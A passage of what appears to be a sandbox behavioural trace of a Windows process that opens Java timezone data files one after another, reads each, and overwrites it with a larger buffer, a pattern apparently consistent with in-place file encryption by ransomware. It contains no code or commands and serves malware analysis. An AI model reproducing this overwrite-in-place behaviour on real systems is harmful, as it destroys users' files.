dwFlags=0x0, lpWideCharStr="Kuala_Lumpur", cchWideChar=12, lpMultiByteStr=0x1e630ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kuala_Lumpur", lpUsedDefaultChar=0x0) returned 12 [0050.737] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e5cdb8, nNumberOfBytesToRead=0x91, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e5cdb8*, lpNumberOfBytesRead=0x32cf2bc*=0x91, lpOverlapped=0x0) returned 1 [0050.738] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.738] WriteFile (in: hFile=0x1ac, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x619, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x32cf2d0*=0x619, lpOverlapped=0x0) returned 1 [0050.738] CloseHandle (hObject=0x1ac) returned 1 [0050.738] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Novosibirsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\novosibirsk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.742] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.742] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x24d [0050.742] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.742] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.742] ReleaseMutex (hMutex=0x128) returned 1 [0050.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Novosibirsk", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Novosibirsk", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Novosibirsk", lpUsedDefaultChar=0x0) returned 11 [0050.742] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x24d, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x32cf2bc*=0x24d, lpOverlapped=0x0) returned 1 [0050.743] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0050.743] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7d5, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x32cf2d0*=0x7d5, lpOverlapped=0x0) returned 1 [0050.744] CloseHandle (hObject=0x1ac) returned 1 [0050.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh87" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\riyadh87"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0050.750] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.750] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x12d5 [0050.750] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0050.750] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.750] ReleaseMutex (hMutex=0x128) returned 1 [0050.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Riyadh87", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Riyadh87", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Riyadh87", lpUsedDefaultChar=0x0) returned 8 [0050.751] ReadFile (in: hFile=0x1ac, lpBuffer=0x261cf08, nNumberOfBytesToRead=0x12d5, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x261cf08*, lpNumberOfBytesRead=0x32cf2bc*=0x12d5, lpOverlapped=0x0) returned 1 [0051.192] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0051.192] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x185d, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x32cf2d0*=0x185d, lpOverlapped=0x0) returned 1 [0051.195] CloseHandle (hObject=0x1ac) returned 1 [0051.195] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tbilisi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\tbilisi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0052.824] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0052.824] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1d5 [0052.824] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0052.825] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.825] ReleaseMutex (hMutex=0x128) returned 1 [0052.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tbilisi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0052.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tbilisi", cchWideChar=7, lpMultiByteStr=0x1e6aa5c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tbilisi", lpUsedDefaultChar=0x0) returned 7 [0052.825] ReadFile (in: hFile=0x1a0, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1d5, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x32cf2bc*=0x1d5, lpOverlapped=0x0) returned 1 [0052.826] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0052.826] WriteFile (in: hFile=0x1a0, lpBuffer=0x1da5ef8*, nNumberOfBytesToWrite=0x75d, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ef8*, lpNumberOfBytesWritten=0x32cf2d0*=0x75d, lpOverlapped=0x0) returned 1 [0052.826] CloseHandle (hObject=0x1a0) returned 1 [0052.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yekaterinburg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\yekaterinburg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0053.759] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0053.759] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x245 [0053.759] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0053.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.759] ReleaseMutex (hMutex=0x128) returned 1 [0053.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Yekaterinburg", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Yekaterinburg", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Yekaterinburg", lpUsedDefaultChar=0x0) returned 13 [0053.759] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x245, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x32cf2bc*=0x245, lpOverlapped=0x0) returned 1 [0053.760] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0053.760] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7cd, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x32cf2d0*=0x7cd, lpOverlapped=0x0) returned 1 [0053.760] CloseHandle (hObject=0x1b0) returned 1 [0053.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\Stanley" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\stanley"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0053.761] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0053.761] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x26d [0053.761] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0053.761] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.761] ReleaseMutex (hMutex=0x128) returned 1 [0053.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stanley", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stanley", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Stanley", lpUsedDefaultChar=0x0) returned 7 [0053.761] ReadFile (in: hFile=0x1b0, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x32cf2bc*=0x26d, lpOverlapped=0x0) returned 1 [0053.762] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0053.762] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7f5, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x32cf2d0*=0x7f5, lpOverlapped=0x0) returned 1 [0053.762] CloseHandle (hObject=0x1b0) returned 1 [0053.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Lord_Howe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\lord_howe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0054.091] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0054.091] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3f4 [0054.091] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0054.092] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.092] ReleaseMutex (hMutex=0x128) returned 1 [0054.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lord_Howe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0054.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lord_Howe", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lord_Howe", lpUsedDefaultChar=0x0) returned 9 [0054.092] ReadFile (in: hFile=0x168, lpBuffer=0x26146c8, nNumberOfBytesToRead=0x3f4, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x26146c8*, lpNumberOfBytesRead=0x32cf2bc*=0x3f4, lpOverlapped=0x0) returned 1 [0054.093] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0054.093] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x97c, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x32cf2d0*=0x97c, lpOverlapped=0x0) returned 1 [0054.093] CloseHandle (hObject=0x168) returned 1 [0054.094] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.122] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.122] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1b [0055.123] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.123] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.123] ReleaseMutex (hMutex=0x128) returned 1 [0055.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+1", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0055.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+1", cchWideChar=5, lpMultiByteStr=0x1e6a78c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT+1", lpUsedDefaultChar=0x0) returned 5 [0055.133] ReadFile (in: hFile=0x12c, lpBuffer=0x1e78bc8, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78bc8*, lpNumberOfBytesRead=0x32cf2bc*=0x1b, lpOverlapped=0x0) returned 1 [0055.144] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.144] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0055.145] CloseHandle (hObject=0x12c) returned 1 [0055.145] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+8" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+8"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.146] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.146] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1b [0055.146] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.146] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.146] ReleaseMutex (hMutex=0x128) returned 1 [0055.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0055.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+8", cchWideChar=5, lpMultiByteStr=0x1e6a78c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT+8", lpUsedDefaultChar=0x0) returned 5 [0055.146] ReadFile (in: hFile=0x12c, lpBuffer=0x1e78bc8, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78bc8*, lpNumberOfBytesRead=0x32cf2bc*=0x1b, lpOverlapped=0x0) returned 1 [0055.148] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.148] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0055.149] CloseHandle (hObject=0x12c) returned 1 [0055.149] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-4" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.149] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.149] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1b [0055.149] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.149] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.149] ReleaseMutex (hMutex=0x128) returned 1 [0055.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-4", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0055.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-4", cchWideChar=5, lpMultiByteStr=0x1e6a78c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT-4", lpUsedDefaultChar=0x0) returned 5 [0055.150] ReadFile (in: hFile=0x12c, lpBuffer=0x1e78bc8, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78bc8*, lpNumberOfBytesRead=0x32cf2bc*=0x1b, lpOverlapped=0x0) returned 1 [0055.151] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.151] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x32cf2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0055.151] CloseHandle (hObject=0x12c) returned 1 [0055.151] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Athens" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\athens"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.151] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.152] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4ac [0055.152] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.152] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.152] ReleaseMutex (hMutex=0x128) returned 1 [0055.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Athens", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0055.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Athens", cchWideChar=6, lpMultiByteStr=0x1e6a78c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Athens", lpUsedDefaultChar=0x0) returned 6 [0055.152] ReadFile (in: hFile=0x12c, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4ac, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x32cf2bc*=0x4ac, lpOverlapped=0x0) returned 1 [0055.155] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0055.155] WriteFile (in: hFile=0x12c, lpBuffer=0x3a4ee28*, nNumberOfBytesToWrite=0xa34, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesWritten=0x32cf2d0*=0xa34, lpOverlapped=0x0) returned 1 [0055.155] CloseHandle (hObject=0x12c) returned 1 [0055.156] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Helsinki" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\helsinki"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.156] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.157] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x40c [0055.157] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0055.157] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.157] 